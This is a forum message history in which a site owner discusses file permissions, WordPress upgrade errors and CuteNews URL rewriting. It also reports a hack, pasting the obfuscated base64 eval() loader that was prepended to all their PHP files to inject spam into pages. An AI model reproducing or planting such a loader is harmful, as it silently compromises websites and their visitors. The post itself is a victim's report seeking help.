Messages

Yeah, some things instruct you to chmod files to 775 or 777 or something and I never do that 'cause there's no reason to. Everything still works even if you don't. \o/ (I hope. Don't wanna mess with my oekaki or anything anymore, not like that.)

Hey, hey, "When I change my password, will all my database-based things break until I edit their config files?" I need to know how quickly I'll need to edit everything else so that they work.

Thank you! I never manually change any of my files' permissions - except a few days ago I DID chmod a folder to 777, which only had some thumbnail files in it, and probably forgot to change it back to 700. 'Zat bad? D:

It's possible that some of my files were still world and group writable from waaay before the server upgrade, back when I had to fix permissions for my PHP files after uploading them, or something. (Actually, maybe not. I've changed pretty much everything since then.) But I know most of them were 700, and all of them were affected, lol. So you reset aaaall the sites' permissions? Yay! All should be well if I just upload things and leave them alone, then?

And yeah, don't revert anything. I did a good bit of unrelated modding after trying to undo this hack last night (and since the 15th, even), and I can't specifically remember what I'd need to redo, lol...

When I change my password, will all my database-based things break until I edit their config files?

[happened on the 15th]

HEY, so suddenly I found out that every PHP file I have uploaded throughout all my sites has had something like this appended to the top of the file:

Code Select Expand


<? /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG9tZS9taWxsZW5uaXVtL3B1YmxpY19odG1sL2ZvcnVtcy9UaGVtZXMvTWlkbmlnaHRNaXN0XzFfMF94L01pZG5pZ2h0TWlzdF8xXzBfeC9NaWRuaWdodE1pc3QvaW1hZ2VzL2JiYy9zdHlsZS5jc3MucGhwJykpe2luY2x1ZGVfb25jZSgnL2hvbWUvbWlsbGVubml1bS9wdWJsaWNfaHRtbC9mb3J1bXMvVGhlbWVzL01pZG5pZ2h0TWlzdF8xXzBfeC9NaWRuaWdodE1pc3RfMV8wX3gvTWlkbmlnaHRNaXN0L2ltYWdlcy9iYmMvc3R5bGUuY3NzLnBocCcpO2lmKGZ1bmN0aW9uX2V4aXN0cygnZ21sJykmJiFmdW5jdGlvbl9leGlzdHMoJ2Rnb2JoJykpe2lmKCFmdW5jdGlvbl9leGlzdHMoJ2d6ZGVjb2RlJykpe2Z1bmN0aW9uIGd6ZGVjb2RlKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgpeyRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkI9b3JkKHN1YnN0cigkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LDMsMSkpOyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDE9MTA7JFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkzMT0wO2lmKCRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkImNCl7JFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkzMT11bnBhY2soJ3YnLHN1YnN0cigkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LDEwLDIpKTskUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxPSRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzFbMV07JFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSs9MiskUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxO31pZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjgpeyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDE9c3RycG9zKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsY2hyKDApLCRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDEpKzE7fWlmKCRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkImMTYpeyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDE9c3RycG9zKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsY2hyKDApLCRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDEpKzE7fWlmKCRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkImMil7JFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSs9Mjt9JFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1Mz1nemluZmxhdGUoc3Vic3RyKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsJFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSkpO2lmKCRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTM9PT1GQUxTRSl7JFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1Mz0kUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4O31yZXR1cm4gJFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1Mzt9fWZ1bmN0aW9uIGRnb2JoKCRSREEzRTYxNDE0RTUwQUVFOTY4MTMyRjAzRDI2NUUwQ0Ype0hlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyRSM0UzM0UwMTdDRDc2QjlCN0U2QzczNjRGQjkxRTJFOTA9Z3pkZWNvZGUoJFJEQTNFNjE0MTRFNTBBRUU5NjgxMzJGMDNEMjY1RTBDRik7aWYocHJlZ19tYXRjaCgnL1w8Ym9keS9zaScsJFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MCkpe3JldHVybiBwcmVnX3JlcGxhY2UoJy8oXDxib2R5W15cPl0qXD4pL3NpJywnJDEnLmdtbCgpLCRSM0UzM0UwMTdDRDc2QjlCN0U2QzczNjRGQjkxRTJFOTApO31lbHNle3JldHVybiBnbWwoKS4kUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwO319b2Jfc3RhcnQoJ2Rnb2JoJyk7fX19')); ?>


I reinstalled my Wordpress installs and am reuploading everything else. I found this out when suddenly files I was uploading were smaller than live files, and when someone pointed out that all the text on my sites looked like spam text on his phone browser. :[

How do you think this happened? I still gotta fix my oekaki and news files too, gah.
Arggh, and my forum too. Can you have SMF forums auto-reinstall like Wordpress? (Well, I just updated it 1.1.9, but there're still some old hacked files.)

Gah, even my plugins are haxed. D:

EDIT: Okay, I reuploaded everything but my plugins and forum themes. Guh.

Someone's explaining how this could have happened: "shared server php upload and/or append hack" Just when I thought I never had to worry about permissions!
He says the hack may be this: http://www.lonelyfetus.com/hack.txt
And looks like this decoded: http://www.lonelyfetus.com/decodedhack.txt or something
If that helps.

Actually, looking more closely at that, it mentions the directory of a forum theme I wasn't even using and thought I had deleted. I bet one of the forum accounts that signed up but never posted did this. e__e

Note that I think this happened on the 15th and again on the 17th, since that's when all my files were modified on the server despite my having not touched them in ages.

DB, I already know you have ridiculously high standards. I've seen people complain about this same error that aren't even using comic plugins.

Mike found out what was causing the error in the case of WebComic users. Something in WebComic conflicting with something weird in WP2.8 - no idea why it's doing that but it really shouldn't be. A temporary fix was commenting out a line that was for an optional setting. We can only hope a future upgrade of WP changes whatever generates the category.php error.

Yeah, I'm using WebComic + Inkblot. XD And Wordpress 2.8 only worked when I disabled WebComic, which doesn't help as it's the reason I have WP in the first place.

WP2.8 seemed to be acting oddly on LF's archives even when I disabled WebComic too, so screw it. c__c I'll wait until WP2.8 gets to like...2.8.1 or WebComic updates again or something.

I was talking to Mike (I bother him a lot ;x;`) and he was baffled. I like how I've been able to completely baffle him with things (most of which are most assuredly my or WP's fault). XD If you can't replicate an error though, that's what happens. I'm using WebComic 2 and InkBlot 2, and others were able to upgrade just fine, but not me. But that's fine, 'cause there's nothing wrong with WP2.7.1 and apparently 2.8 isn't much better, lol.

So yeah I downgraded WP and things work again.

I upgraded to it, and it broke that one comic's archives. (Which is odd, since I upgraded on another site and nothing happened.)

I come up with either a blank screen for everything in the admin area, or this error mooshes all over my site:

Fatal error: Cannot use object of type WP_Error as array in /home/millennium/public_html/lf/pages/wp-includes/category.php on line 137

Yay. Any other Xepher site experience this? I might know why, but even when I know, it doesn't make sense, since other sites with my exact same setup upgraded fine.

I like the new one more. They're both pretty similar, but the new one is cleaner and more concise somehow.

Ah, it's probably there's more variations in your greys than there were in your greens this time around. Tone variation = more depth, more pop to things that deserve to be noticed, etc.

Also, not all computers have Century on it, so your cool font only shows up on my laptop but not my PC. But I've seen a few sites using Century now.

Amuletts, I live with my parents and that automatically makes everything way more inconvenient. Otherwise, yeah.

Griever ... D: My best wishes to things stabilizing in the easiest manner possible. (Does that sentence make sense? I dunno I'm tired, hate being tired for no reason)

Anyway, still haven't heard back from my interviewer. Not saddening, but I was excited for a little while.

Forgot what other thread I asked things in. Should probably start using bookmarks more efficiently...

Anyway, I was wondering if it's possible to...

- use mod_rewrite to hide certain directories in a URL?

To give an example, and this might be terribly convoluted to begin with, but I made it so that

senshuu.com/mil/

can be accessed through

millennium.senshuu.com

but sometimes (through my wacky old news system, dur) you can see the /mil/ directory pop up in the url's rewritten form, like so:

millennium.senshuu.com/mil/

Awfully redundant, huh?
I'd like to be able to phase that out of any generated url! But it's probably not possible.

Of course, it's not like the main rewritten url, millennium.senshuu.com, is a redirect of senshuu.com/mil/, and if I wanted it to be, things would get convoluted real fast with redirects here and there... So I guess I wouldn't be able to "hide" parts of URLs like directories, would I?

I hope this makes any sense. I feel totally silly for asking at all, and yet my curiosity goes wild, and my searches rarely yield anything I can get without reaaally going into this (and possibly learning a whole bunch of things I didn't intend to). XD

- I think my other question was going to be something more relating to redirects, but uh. Suddenly I don't feel the need to ask. Hehe.

EDIT: Yes, after some experimentation, I see I'd be basically redirecting a file to the same file, which is... not possible, and also dumb. XD

Ah! For the record, I found out there's a hack for this already. Didn't think there would be, but there you go.

By rights I shouldn't be using CuteNews at all, but it's just so dang convenient. I mean, you command so much control over it... (when you've nabbed a few people who can hack code)

Interestingly, however, as nice as those cleaned-up URLs are, I just realized that this hack causes all my CSS'd images and links to be horribly broken, since all the links are relative paths and the news listings are set to paths like /postpage/. Whoopsie.

I hadn't thought of that before. I wonder what I can do about that?

Well, there are too many things wrong with that hack that I hadn't considered, so until I can fix it myself I'm not using it lol...

Gawd I just spent like an hour on there.

I have a shot at a nice, full-time website designing job that will pay well. Interview Tuesday!

I hope you know I have no idea what you just said. :V

(Also, this part of my site isn't running on a real formal CMS - just CuteNews. The actual Wordpress install is in my archives, and if I were using WP to power my entire site(s) I wouldn't even be using CN.)

I'm getting a real "leave ugly URLs as is" vibe here. If I wanted to change it I'd have to get into how CN is written, and, well, I don't want to, lol.

Well, hmm, let's see if I can explain it... I'm bad at explaining what I mean sometimes lol.

All of my actual news files are in /news/
But they're being inserted on /lf/, /mil/, and /ai/
(Those are all from the root directory)

I want to do a rewrite rule that doesn't involve including or relying on /mil/ /lf/ or /ai/ in the news-generated URLs at all, if possible (but I don't think it is)

And I wanna be able to try that suggestion of yours without having to create multiple .htaccess files in different directories (before I just tried your suggestion in the root one, and it didn't work aaaa)

Actually I'm not sure which .htaccess file I should be editing where ()

LION FISH. I want to see.

I swam with parrot fish on my one and only cruise. It was fun. Of course by "swam" I mean "floated with floaties" because I cannot actually swim.

Glad you had fun.